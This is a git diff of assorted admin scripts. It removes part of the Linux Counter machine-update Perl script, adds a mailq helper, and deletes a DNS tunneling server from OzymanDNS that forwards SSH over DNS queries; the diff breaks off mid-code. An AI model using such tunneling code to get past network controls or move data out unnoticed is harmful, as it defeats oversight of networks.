- # Not sure this is a Right Thing...so not saving it for the moment
- # This section based on a patch from Mark-Jason Dominus <mjd@plover.com>
- # try to guess mailer based on content of /usr/lib/sendmail link
- if (-l '/usr/lib/sendmail') {
- my $realsendmail = readlink('/usr/lib/sendmail');
- if ($realsendmail eq '../sbin/sendmail') {
- $realsendmail = '/usr/sbin/sendmail';
- if (-l $realsendmail) {
- $realsendmail = readlink($realsendmail);
- }
- }
- if ($realsendmail =~ m{^/var/qmail}) {
- $values{mailer} = "qmail";
- } else {
- &DebugInfo("Found sendmail as a link to $realsendmail\n");
- }
- }
- # Link method did not work. Try to guess based on presence of
- # config files. (this is more susceptible to the old-junk problem)
- if (!$values{mailer}) {
- if ( -d '/var/qmail') {
- $values{mailer} = 'qmail';
- } elsif ( -f '/etc/sendmail.cf' || -f '/etc/mail/sendmail.cf') {
- # TMDG claims recent Fedora Core has it in /etc/mail/sendmail.cf
- $values{mailer} = 'sendmail';
- } elsif ( -d '/etc/postfix') {
- $values{mailer} = 'postfix';
- }
- }
-
- $values{kcoresize} = -s "/proc/kcore" || 0;
- addonefileforsending("/proc/meminfo");
- addonefileforsending("/proc/cpuinfo");
- addonefileforsending("/proc/version");
- # info on what devices are in use on the system
- addonefileforsending("/proc/pci");
- addonefileforsending("/proc/bus/usb/devices");
- # Both Mandrake and Red Hat use this file....
- addonefileforsending("/etc/redhat-release");
-}
-
-# }}}
-
-# {{{ accounts
-
-#
-sub accounts {
- my $s;
- my $niss;
- my $ypcatbin; # will hold path to the ypcat binary (if any)
-
- open (TMP,"</etc/passwd");
- $s += &passwdscan;
- &DebugErr("Found $s accounts total\n");
- &Debug("Switching to NIS passwords\n");
-
- $ypcatbin = &xbin('ypcat'); # get path to ypcat binary (empty if none)
- if($ypcatbin) { # test whether ypcat was found
- open TMP, "$ypcatbin passwd 2> /dev/null|"
- || ($errordata .= "ypcat failed: $!\n");
- $niss = &passwdscan;
- $s += $niss;
- close TMP;
- &Debug("Status of ypcat: $?\n");
- &DebugErr("Found $niss accounts in ypcat passwd\n");
- }
-
- &DebugErr('Sysaccounts: ', join(' ', keys(%is_sys_account)), "\n");
- &DebugErr("Found $s accounts total\n");
-
- return $s;
-}
-
-# }}}
-# {{{ passwdscan
-
-#
-sub passwdscan {
- # Code for reading login.defs courtesy of Vassilii Khachaturov
- # <vassilii@tarunz.org>
- local (*DEFS);
- # Try importing UID_MIN and UID_MAX from /etc/login.defs, if possible
- # else just assume the above defaults for min and max non-system UID
- if (!$got_defs && open (DEFS, '/etc/login.defs')) {
- while (<DEFS>) {
- if (/^\s*(UID_(?:MIN|MAX))\s+(\d+)/) {
- # elegant, but not compatible with "strict refs":
- #${ $1 } = $2;
- if ($1 eq "UID_MIN") {
- $UID_MIN = $2;
- } else {
- $UID_MAX = $2;
- }
- &Debug("DEFS match: $1 = $2\n");
- }
- }
- close (DEFS);
- $got_defs = 1;
- }
- &Debug("UID_MIN = $UID_MIN, UID_MAX = $UID_MAX\n");
- # I suppose this is as good as it gets -
- # Usually user accounts have UID > 100 and
- # "system accounts" have UID < 100, but there is no guarantee
- # that
- # this will hold for pseudo-users like "postgress" etc.
- # Also nobody is usually 99 on linux, but -1 on "standard" unices.
- # RedHat places the dividing line at 500. Others use 400...
- my @line;
- my $s = 0;
-
- while (<TMP>) {
- @line = split ':';
- if ($line[2] >= $UID_MIN && $line[2] <= $UID_MAX
- && !($line[0] eq 'nobody')) {
- $s++;
- $is_account{$line[0]} = 1;
- } else {
- $is_sys_account{$line[0]} = 1;
- }
- }
-
- return $s;
-}
-
-# }}}
-# {{{ active_users
-
-#
-# This is kind of alpha, but please test it.
-# It calculates the number of "active" users based on the "wtmp" entries
-# unfortunately at least Mandrake 8 and 9 ship with non-world-read wtmp
-# and non-set-uid last, so this does not work any more...
-#
-# RJ: Actually I think the best thing to do is to bury this code and be silent about it.
-#
-sub active_users {
- my $userslisted;
-
- for (qw(reboot wtmp runlevel)) { # This sysaccounts shouldn't be counted. Who else?
- $is_sys_account{$_} = 1;
- }
- open( TMP, "/usr/bin/last 2>&1|");
- while (<TMP>) {
- chop;
- if (m!/var/log/wtmp: Permission denied!) { # RJ: ***Boom*** on every non-EN system
- &ErrorInfo("/usr/bin/last failed because /var/log/wtmp isn't readable\n");
- last;
- }
- last if(!$_); # RJ: quick hack to safe bad code from harm
- my @tmp = split;
- my $name = $tmp[0];
- if ($is_sys_account{$name}) {
- # do nothing
- } elsif (defined $is_account{$name}) {
- $is_user{$name} = 1;
- } elsif (/^\s*$/) { # blank line - do nothing
- } elsif ($#tmp == 9) { # OK line, but unknown user
- $option{DEBUG} && do {
- if (!$userslisted) {
- print STDERR 'Know users are: ',
- join(' ', keys(%is_account)), "\n";
- $userslisted = 1;
- }
- print STDERR "Unknown user: $name\n";
- }
- } else {
- &DebugErr("Strange line: $_\n");
- }
- }
- close TMP;
- my $i = 0;
- for (sort keys %is_user) {
- $option{DEBUG} && printf "Active user %3d: %s\n", ++$i, $_;
- }
- &Debug("$i active users found.\n");
-
- return $i;
-}
-
-# }}}
-
-# {{{ installcrontab
-
-#
-sub installcrontab {
- my $hour = int(rand(24));
- my $min = int(rand(60));
- my $day = int(rand(7)); # Weekday. This version runs once a week.
- my $cron = "";
-
- warn "Installing start of script into your crontab\n";
- if (open(CRON, "crontab -l |")) {
- &Debug("Checking crontab for machine-update\n");
- &Debug("Want to install as $progname\n");
- while (<CRON>) {
- if (/machine-update/) {
- if (/ $progname -m/) {
- die "Crontab entry already installed: $_\n";
- } else {
- die "Another entry with machine-update: $_\n";
- }
- }
- $cron .= $_;
- }
- close CRON;
- &Debug("Result from crontab -l: ", $? / 256, "\n");
- if ($? == 0) {
- &Debug("Crontab successfully read\n");
- } elsif ($? == 256) {
- warn "You don't seem to have a crontab. I will create one.\n";
- } else {
- die "Failed to read your crontab. Please report this as a bug: $?\n";
- }
- } else {
- &Debug("Result from crontab open(): $?\n");
- die "Unable to execute crontab command. Please check your system\n";
- }
- open(CRON, "|crontab -");
- print CRON $cron;
- print CRON "$min $hour * * $day $progname -m\n";
- close CRON;
- &Debug("Result from crontab: $?\n");
- if ($?) {
- die(<<EoF);
-Installing new crontab failed.
-YOUR CRONTAB MAY BE DAMAGED - use crontab -l to check it.
-Here's its former content (if any):
-
-$cron
-
-EoF
- }
- print "Crontab entry successfully installed.\nWill run on day $day of every week, at $hour:$min\n";
-
- exit 0;
-}
-
-# }}}
-# {{{ uninstallcrontab
-
-#
-sub uninstallcrontab {
- my $found = 0;
- my $cron;
-
- print STDERR "Removing $progname from your crontab\n";
- open(CRON, "crontab -l |");
- &Debug("Checking crontab for machine-update\n");
- &Debug("Want to uninstall as $progname\n");
- while (<CRON>) {
- if (/^#/ && $. <= 3) { # initial comment
- &Debug("Skipping comment: $_");
- next;
- }
- if (/machine-update/) {
- if (/ $progname -m/) {
- print STDERR "Crontab entry found and removed\n";
- $found = 1;
- next; # skip stuff at end....
- } else {
- die "Another entry with machine-update: $_\nUninstall manually?\n";
- }
- }
- $cron .= $_;
- }
- close CRON;
- &Debug("Result from crontab -l: $?\n");
- if ($?) {
- die "Failed to read your crontab. You may not have one?\n";
- }
- if ($found) {
- open(CRON, "|crontab -");
- print CRON $cron;
- close CRON;
- &Debug("Result from crontab: $?\n");
- if ($?) {
- die(<<EoF);
-Installing new crontab failed.
-YOUR CRONTAB MAY BE DAMAGED - use crontab -l to check it.
-Here's its former content (if any):
-
-$cron
-
-EoF
- }
- } else {
- print STDERR "No instance of $progname found in your crontab\n";
- }
-
- exit 0;
-}
-
-# }}}
-
-# {{{ xbin execute a linux binary
-
-#
-# This sub is to execute a linux binary robustly. i.e. testing
-# whether it is present, where it is present, whether it is executable
-#
-sub xbin {
- my $bin = shift; # get name of binary to execute
-
- $bin = `which $bin 2>/dev/null`; # determine binarys full path
- chomp $bin;
- return $bin if(-x $bin); # if there and executable: all is well - return it
-
- if(!$bin) { # if not there
- &Debug("No $bin found\n"); # state so
- } else { # there but not executable
- &Debug("$bin found, but not executable\n");
- }
-
- return ''; # so return an empty string (binary will not exec)
-}
-
-# }}}
-# {{{ getval_from_file get value from system file @ row,col
-
-#
-sub getval_from_file {
- my $file = shift;
- my $row = shift;
- my $col = shift;
- my @file;
- my @cols;
-
- if (!(-r $file)) {
- &DebugErr("File $file not readable\n");
- return '';
- }
- sysopen(FH,$file, O_RDONLY);
- @file = <FH>; # read whole file to array
- close FH;
-
- @cols = split /\s+/, $file[$row]; # get the right row
-
- return $cols[$col]; # return the right column
-}
-
-# }}}
-
-sub addonefileforsending {
- my $file = shift;
- my @file;
-
- if (!(-r $file)) {
- &DebugErr("File $file not readable\n");
- return '';
- }
- sysopen(FH,$file, O_RDONLY);
- @file = <FH>; # read whole file to array
- close FH;
- $files{$file} = join('', @file);
-
-}
-
-# {{{ Debug print debug information if flag is set
-
-#
-sub Debug {
- $option{DEBUG} && print @_;
-}
-
-# }}}
-# {{{ DebugErr print debug on STDERR if flag is set
-
-#
-sub DebugErr {
- $option{DEBUG} && print STDERR @_;
-}
-
-# }}}
-# {{{ ErrorInfo
-sub ErrorInfo {
- $errordata .= join('', @_);
-}
-# }}}
-# {{{ DebugInfo
-
-sub DebugInfo {
- $option{info} && ($debugdata .= join('', @_));
-}
-
-# }}}
-
-# {{{ help print help & exit
-
-#
-sub help {
- my $host = `uname -n`;
-
- print <<EoF;
-machine-update version $VERSION
-Send machine information to the Linux Counter
-
-USE: machine-update [-i] [-(t|d|l|m|v|x|c|u|h)]
-
-SWITCHES:
- -i = interactive
- -t = test (do not send e-mail, just print it ot STDOUT - default)
- -d = debug (test, and print additional debug informations)
- -l = display license
- -m = mail results to linux-counter
- -v = print version and exit
- -x = send extra info to server (Debug)
- -c = install crontab entry
- -u = uninstall crontab entry
- -h = print usage information and exit
-If called with the "-i" option, will ask some questions and store the
-answers in $ENV{HOME}/.linuxcounter/$host
-
-EoF
-
-exit 0;
-}
-
-# }}}
-# {{{ license print license & exit
-
-#
-sub license {
- print <<EoF;
-
- Linux Counter Machine Update version $VERSION
-
- Copyright (C) 1999-2005 Harald Tveit Alvestrand
- 2003 PetaMem Group (www.petamem.com)
-
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License below for more details.
-
-
- GNU GENERAL PUBLIC LICENSE
- Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
- 675 Mass Ave, Cambridge, MA 02139, USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
- Preamble
-
- The licenses for most software are designed to take away your
-freedom to share and change it. By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users. This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it. (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.) You can apply it to
-your programs, too.
-
- When we speak of free software, we are referring to freedom, not
-price. Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
- To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
- For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have. You must make sure that they, too, receive or can get the
-source code. And you must show them these terms so they know their
-rights.
-
- We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
- Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software. If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
- Finally, any free program is threatened constantly by software
-patents. We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary. To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
- The precise terms and conditions for copying, distribution and
-modification follow.
-
- GNU GENERAL PUBLIC LICENSE
- TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
- 0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License. The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language. (Hereinafter, translation is included without limitation in
-the term "modification".) Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope. The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
- 1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
- 2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
- a) You must cause the modified files to carry prominent notices
- stating that you changed the files and the date of any change.
-
- b) You must cause any work that you distribute or publish, that in
- whole or in part contains or is derived from the Program or any
- part thereof, to be licensed as a whole at no charge to all third
- parties under the terms of this License.
-
- c) If the modified program normally reads commands interactively
- when run, you must cause it, when started running for such
- interactive use in the most ordinary way, to print or display an
- announcement including an appropriate copyright notice and a
- notice that there is no warranty (or else, saying that you provide
- a warranty) and that users may redistribute the program under
- these conditions, and telling the user how to view a copy of this
- License. (Exception: if the Program itself is interactive but
- does not normally print such an announcement, your work based on
- the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole. If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works. But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
- 3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
- a) Accompany it with the complete corresponding machine-readable
- source code, which must be distributed under the terms of Sections
- 1 and 2 above on a medium customarily used for software interchange; or,
-
- b) Accompany it with a written offer, valid for at least three
- years, to give any third party, for a charge no more than your
- cost of physically performing source distribution, a complete
- machine-readable copy of the corresponding source code, to be
- distributed under the terms of Sections 1 and 2 above on a medium
- customarily used for software interchange; or,
-
- c) Accompany it with the information you received as to the offer
- to distribute corresponding source code. (This alternative is
- allowed only for noncommercial distribution and only if you
- received the program in object code or executable form with such
- an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it. For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable. However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
- 4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License. Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
- 5. You are not required to accept this License, since you have not
-signed it. However, nothing else grants you permission to modify or
-distribute the Program or its derivative works. These actions are
-prohibited by law if you do not accept this License. Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
- 6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions. You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
- 7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License. If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all. For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices. Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
- 8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded. In such case, this License incorporates
-the limitation as if written in the body of this License.
-
- 9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time. Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number. If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation. If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
- 10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission. For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this. Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
- NO WARRANTY
-
- 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
- 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
- END OF TERMS AND CONDITIONS
-
-EoF
-
- exit 0;
-}
-
-# }}}
-
-# Changelog for 0.2
-# - indentation and folding marks
-# - made script work with -w and use strict
-# - removed some localization traps
-# - marked some BUGS - but they`re still there (mostly localization)
-# - more robust binary calls
-# - getval_from_file data acquisition method
-# - fixed df (shmfs) - but only temporarily (quick hack)
-# - various code optimizations & cleanup (removed unneded vars)
-# - Memory size detection now robst and >960MB capable
-# - slightly better randomness
-#
-
-# Changelog 0.21
-# - added attaching of files
-# - added fetching of uptime_1 and uptime_2
-#
-# Changelog 0.22
-# - removed "manual" copying of entries
-# - added suppressing error messages from "xbin" calling "which"
-# - suppressed NFS from "df -T" listing
-#
-# Changelog 0.23
-# - added sending /proc/pci
-# - removed client-side parsing of DF output and uptime
-#
-# Changelog 0.24
-# - added sending /proc/version (inspired by klive)
-# - changed fetching of old data from "all" to "needed"
-# - removed CPU-parsing code
-# - fixed warning (harmless) from crontab creation
-# - added sending /proc/bus/usb/devices
-#
-# Changelog 0.25
-# - added sending size of /proc/kcore
-# - removed computation of memory client-side
-#
-# Changelog 0.26
-# - adding cron entry no longer removes comments from crontab.
-# Crontab is not ours, so hands off.
-#
-# Changelog 0.27
-# - When /proc/kcore does not exist on a system, its size is now zero
-#
-# Changelog 0.28
-# - Added a terrible way to find out what email program can be used to send out the mail
-#
-# Changelog 0.29
-# - Extended the hardcoded list of programs that can be used to send the
-# machine-update email
-#
-# Changelog 0.30
-# - The script now sends us the version of perl used to run the script
-# We need this to solve some problems due to changes in between perl
-# versions
-#
-#vim:ts=8:sw=4:sts=4
-
diff --git a/mailq-recipient b/mailq-recipient
new file mode 100755
index 0000000..91dc13e
--- /dev/null
+++ b/mailq-recipient
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+if [[ -z $1 ]]; then
+ echo "Usage: ${0##*/} <recipient>"
+ exit
+fi
+
+mailq | tail -n +2 | grep -v '^ *(' | awk 'BEGIN { RS = "" }
+ # $7=sender, $8=recipient1, $9=recipient2
+ { if ($8 == "'$1'" && $9 == "")
+ print $1 }
+ ' | tr -d '*!'
diff --git a/mkmaildir b/mkmaildir
deleted file mode 100755
index c7a61ca..0000000
--- a/mkmaildir
+++ /dev/null
@@ -1,8 +0,0 @@
-#!/bin/sh
-
-if [ -z "$1" ]; then
- echo "usage: $1 <dir>"
- exit
-fi
-
-mkdir -p $1/{new,cur,tmp}
diff --git a/nomde.pl b/nomde.pl
deleted file mode 100644
index 5217afe..0000000
--- a/nomde.pl
+++ /dev/null
@@ -1,359 +0,0 @@
-#!/usr/bin/perl
-
-$VERSION = 0.1;
-
-use Fcntl;
-use Net::DNS;
-use Net::DNS::Nameserver;
-#use LWP::Simple;
-use LWP::UserAgent;
-use Time::HiRes qw ( usleep gettimeofday );
-use MIME::Base64;
-use MIME::Base32 qw ( RFC );
-use IO::Socket;
-use Class::Struct;
-use threads;
-use threads::shared;
-use Thread::Queue;
-use Getopt::Long;
-use English;
-
-
-my %opts;
-my %mods;
-
-$opts{ptrname} = "127.0.0.1";
-$opts{filename} = "nomde.pl";
-$opts{forward} = "sshdns:127.0.0.1:22";
-GetOptions(
- "ip=s" => \$opts{ip},
- "filename=s" => \$opts{file},
- "ptrname" => \$opts{ptrname},
- "Localforward"=> \$opts{forward}
-);
-if($ARGV[0]) {
- $opts{localname} = $ARGV[0];
- my @tmp = split('\.', $opts{localname});
- $opts{nameoffset} = $#tmp;
- undef @tmp;
-}
-
-if(!length($opts{localname}) || !length($opts{ip})){
-
- print STDERR << "EOD";
-nomde $VERSION: Experimental DNS Server
-Component of: OzymanDNS Dan Kaminsky(dan\@doxpara.com)
- Usage: nomde -l 10.0.1.11 servername.foo.com
- Options: -i [ip address]: IP address to host for all A requests
- -f [filename] : Filename to host in TXT records [b64]
- -p [name] : Name/IP to return for reverse lookups[ptr]
- -L [name:host:port]: Forward function to address, port
- (Default: sshdns:127.0.0.1:22)
-EOD
- exit 1;
-}
-
-struct ( dns_sock => {
- sock => '$',
- lasttime => '$',
- reader => '$',
- queue => '$'
-});
-
-
-struct ( dns_sock_data => {
- data => '$',
- lasttime => '$'
-});
-
-# set STDIN to nonblock
-$flags='';
-fcntl(STDIN, F_GETFL, $flags) or die "1\n";
-$flags |= O_NONBLOCK;
-fcntl(STDIN, F_SETFL, $flags) or die "2\n";
-
-
-#use strict;
-#use warnings;
-
-$dataclean;
-
-sub reply_handler {
- my ($qname, $qclass, $qtype, $peerhost, $header, $packet) = @_;
- my ($rcode, @ans, @auth, @add, $val);
-
- my @namelist = split(/\./, $qname);
- my @reverselist = reverse(@namelist);
- my $function = $reverselist[$opts{nameoffset}+1];
- my @args = (@reverselist[$opts{nameoffset}+2..$#reverselist]);
-
- $rcode = "NXDOMAIN";
-
- if ($qtype eq "AAAA") { $rcode = "NOTIMPL"; goto end;};
- if ($qtype eq "SOA") {
- my $now = gettimeofday(); # yeah that'll give unique serials
- my $name = $opts{localname};
- my ($ttl, $rdata) = (3600, "ns.$name root.$name $now 28800 14400 3600000 0");
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
- $rcode = "NOERROR";
- goto end;
- }
- if ($qtype eq "TYPE38") { $rcode = "NOTIMPL"; goto end;};
- if ($qtype eq "A" && $function eq "glance") {
- my $addr = $args[0];
- chomp($addr);
- $addr =~ s/_/\./g;
- $addr =~ s/-/\//g;
- $addr = "http://" . $addr;
-
- my $ua = LWP::UserAgent->new;
- my $request = HTTP::Request->new(HEAD => "$addr");
- my $response= $ua->request($request);
- my $modified_time = $response->last_modified;
- my $expires = $response->expires;
- my $date = $response->date;
-
- my $ttl = $expires - $date;
-
- my @array = unpack("C*", pack("V", $modified_time)); # will it work?
- my $nsip = join(".", @array);
- if ($ttl < (60*20)) {$ttl = 60*20;}
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $nsip");
- $rcode = "NOERROR";
- goto end;
- }
- if ($function eq "echo"){
-
- if ($qtype eq "A" && $namelist[0] eq "ns")
- {
- my $nsip = $args[0];
- $nsip =~ s/-/./g;
- my ($ttl, $rdata) = (20, $nsip);
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
- $rcode = "NOERROR";
- goto end;
- }
- else {
- my $nsip = $args[0];
- $nsip =~ s/-/./g;
- my $ns = "ns." . "$qname";
- print "\n$ns\n";
- $type = "NS";
- if($qtype eq "NS") {
- push @ans, Net::DNS::RR->new("$qname 20 $qclass NS $ns");
- } else {
- push @auth, Net::DNS::RR->new("$qname 20 $qclass NS $ns");
- }
- push @add, Net::DNS::RR->new("$ns 20 $qclass A $nsip");
- $rcode = "NOERROR";
- goto end;
- }
- }
-
-
- if ($qtype eq "CNAME") { $rcode = "NOERROR"; goto end;};
- if ($qtype eq "PTR") {
- my ($ttl, $rdata) = (0, $opts{ptrname});
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
- $rcode = "NOERROR";
- }
- if ($qtype eq "TXT" && $function eq "b64" && $opts{file}) {
- my $val, $i;
- seek($opts{file}, $args[0], 0);
- read($opts{file}, $val, 57*2);
- $val = encode_base64($val);
- read($opts{file}, $val2, 57*2);
- $val2 = encode_base64($val2);
- my $ttl = 60;
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype \"$val\" \"$val2\"" );
- $rcode = "NOERROR";
- goto end;
- }
-
- my ($servname, $remotehost, $remoteport) = split(":", $opts{forward});
- if ($function eq "$servname"){
- my $op = $args[0];
- my $id = $args[1];
- my ($offset, $nonce) = split("-", $args[2]);
-
- my $now = gettimeofday();
- if(!$sockclean || $now - $sockclean > 240){
- $sockclean = gettimeofday();
- foreach $scanid (keys %socklist){
- if($now - $socklist{$scanid}->lasttime > 10){
- $socklist{$scanid}->sock->shutdown(2);
- delete $socklist{$scanid};
- }
- }
- }
- my $scanid;
- if(!$dataclean || $now - $dataclean > 20){
- $dataclean = gettimeofday();
- foreach $scanid (keys %sockdata) {
- if(defined($sockdata{"$scanid"})&&
- $now - $sockdata{"$scanid"}->lasttime > 60){
- delete $sockdata{$scanid};
- }
- }
- }
-
- if(!exists $socklist{$id}) {
- $socklist{$id}=new dns_sock;
- my $sock = IO::Socket::INET->new(
- PeerAddr => "$remotehost",
- PeerPort => "$remoteport",
- Proto => "tcp",
- Type => SOCK_STREAM,
- Blocking => 1);# or die "couldn't spawn socket\n";
- $socklist{$id}->queue(Thread::Queue->new);
- $socklist{$id}->sock($sock);
- $socklist{$id}->reader(threads->new(\&reader, $socklist{$id}->sock, $socklist{$id}->queue));
- }
-
- $socklist{$id}->lasttime($now);
- my $sock = $socklist{$id}->sock;
-
- my $sockdata_is_fresh=0;
- if(!exists $sockdata{$op,$offset,$id}) {
- $sockdata{$op,$offset,$id} = new dns_sock_data;
- $sockdata{$op,$offset,$id}->lasttime($now);
- $sockdata_is_fresh=1;
- }
-
- my $data = $sockdata{$op,$offset,$id}->data;
- if($op eq "up" && $qtype eq "A"){
- my $size=0;
- $data = uc join("", reverse(@args[3..$#args]));
- $data = MIME::Base32::decode($data);
-
